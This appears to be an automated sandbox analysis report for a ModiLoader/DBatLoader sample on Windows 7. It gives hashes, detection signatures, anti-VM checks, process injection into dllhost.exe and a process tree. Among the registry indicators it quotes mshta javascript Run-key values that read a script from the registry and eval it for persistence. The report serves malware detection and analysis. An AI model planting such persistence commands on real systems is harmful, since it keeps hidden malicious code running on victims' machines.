Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
06-05-2024 10:30
Static task
static1
Behavioral task
behavioral1
Sample
1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe
Resource
win10v2004-20240226-en
General
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Target
1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe
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Size
562KB
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MD5
1c101db2daf76a3fd49172ed7855abfe
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SHA1
fdcb04aeef75df5b7c5635054654292d893e4dd9
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SHA256
1dd0bf89c416a276deb5bba33d65a8a0c5a5653e4f9d3178d6745313b1416f81
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SHA512
3ead35c9dba09e421359f4eed7cbf92b0e7f46920f88fb5e62be13051476efaf3ca722786c960c2095b9813268eefdce3196e8b8ce15f21c81a887738fb6f1f9
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SSDEEP
12288:nxibnc/66oWkCd5JGtsu8e4DTUqwJSGDnzQcle4ySC7swBOZxQ:x6i6jl45JWsuN4HwQ8byF73OZW
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 48 IoCs
Processes:
resource yara_rule behavioral1/memory/1972-2-0x0000000000400000-0x0000000000491000-memory.dmp modiloader_stage2 behavioral1/memory/1972-4-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/2812-10-0x00000000000B0000-0x0000000000174000-memory.dmp modiloader_stage2 behavioral1/memory/1972-7-0x0000000000400000-0x0000000000491000-memory.dmp modiloader_stage2 behavioral1/memory/1972-6-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/2812-12-0x00000000000B0000-0x0000000000174000-memory.dmp modiloader_stage2 behavioral1/memory/2532-17-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-20-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-19-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-18-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-16-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-15-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-22-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-21-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-23-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-24-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-25-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2472-27-0x0000000000120000-0x00000000001E4000-memory.dmp modiloader_stage2 behavioral1/memory/2472-32-0x0000000000120000-0x00000000001E4000-memory.dmp modiloader_stage2 behavioral1/memory/2472-30-0x0000000000120000-0x00000000001E4000-memory.dmp modiloader_stage2 behavioral1/memory/2472-29-0x0000000000120000-0x00000000001E4000-memory.dmp modiloader_stage2 behavioral1/memory/2472-28-0x0000000000120000-0x00000000001E4000-memory.dmp modiloader_stage2 behavioral1/memory/2532-41-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-39-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-38-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-37-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-36-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-34-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-33-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-40-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-35-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2292-43-0x00000000000C0000-0x0000000000184000-memory.dmp modiloader_stage2 behavioral1/memory/2292-47-0x00000000000C0000-0x0000000000184000-memory.dmp modiloader_stage2 behavioral1/memory/2292-46-0x00000000000C0000-0x0000000000184000-memory.dmp modiloader_stage2 behavioral1/memory/2292-45-0x00000000000C0000-0x0000000000184000-memory.dmp modiloader_stage2 behavioral1/memory/2292-44-0x00000000000C0000-0x0000000000184000-memory.dmp modiloader_stage2 behavioral1/memory/2292-49-0x00000000000C0000-0x0000000000184000-memory.dmp modiloader_stage2 behavioral1/memory/2532-63-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-64-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-62-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-61-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-60-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-59-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-58-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-66-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-65-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-74-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 behavioral1/memory/2532-75-0x0000000000070000-0x0000000000134000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:mNmw6jW=\"Jwbps\";BH93=new%20ActiveXObject(\"WScript.Shell\");kwhqlnH1v=\"hMUG\";Z5t4hU=BH93.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c41a571d\\\\a7204798\");YZFO5oo=\"daxo\";eval(Z5t4hU);oKkiA7m8F=\"LGi0QA\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
Processes:
dllhost.exepid process 2532 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
dllhost.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:tDEJbU0HS=\"zthRm4\";Kc5=new%20ActiveXObject(\"WScript.Shell\");NpoXb2Z=\"dRQm\";KX3i2f=Kc5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c41a571d\\\\a7204798\");RV7JqR5StF=\"MTZYHO\";eval(KX3i2f);LP5dDeh4=\"o\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:eWw29pof=\"DdpF\";ul4=new%20ActiveXObject(\"WScript.Shell\");G7fGbeU1X=\"LC4sVLIqkG\";Uz8mz=ul4.RegRead(\"HKCU\\\\software\\\\c41a571d\\\\a7204798\");QLFP7IP=\"K7huPQY\";eval(Uz8mz);fMEyq17XV=\"f\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
dllhost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 dllhost.exe -
Processes:
dllhost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\International dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exedllhost.exepid process 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exedllhost.exedllhost.exepid process 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe 2812 dllhost.exe 2812 dllhost.exe 2812 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe 2532 dllhost.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exedllhost.exedllhost.exedescription pid process target process PID 1972 wrote to memory of 2812 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe dllhost.exe PID 1972 wrote to memory of 2812 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe dllhost.exe PID 1972 wrote to memory of 2812 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe dllhost.exe PID 1972 wrote to memory of 2812 1972 1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe dllhost.exe PID 2812 wrote to memory of 2532 2812 dllhost.exe dllhost.exe PID 2812 wrote to memory of 2532 2812 dllhost.exe dllhost.exe PID 2812 wrote to memory of 2532 2812 dllhost.exe dllhost.exe PID 2812 wrote to memory of 2532 2812 dllhost.exe dllhost.exe PID 2532 wrote to memory of 2472 2532 dllhost.exe dllhost.exe PID 2532 wrote to memory of 2472 2532 dllhost.exe dllhost.exe PID 2532 wrote to memory of 2472 2532 dllhost.exe dllhost.exe PID 2532 wrote to memory of 2472 2532 dllhost.exe dllhost.exe PID 2532 wrote to memory of 2292 2532 dllhost.exe explorer.exe PID 2532 wrote to memory of 2292 2532 dllhost.exe explorer.exe PID 2532 wrote to memory of 2292 2532 dllhost.exe explorer.exe PID 2532 wrote to memory of 2292 2532 dllhost.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1c101db2daf76a3fd49172ed7855abfe_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵PID:2472
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C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵PID:2292
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a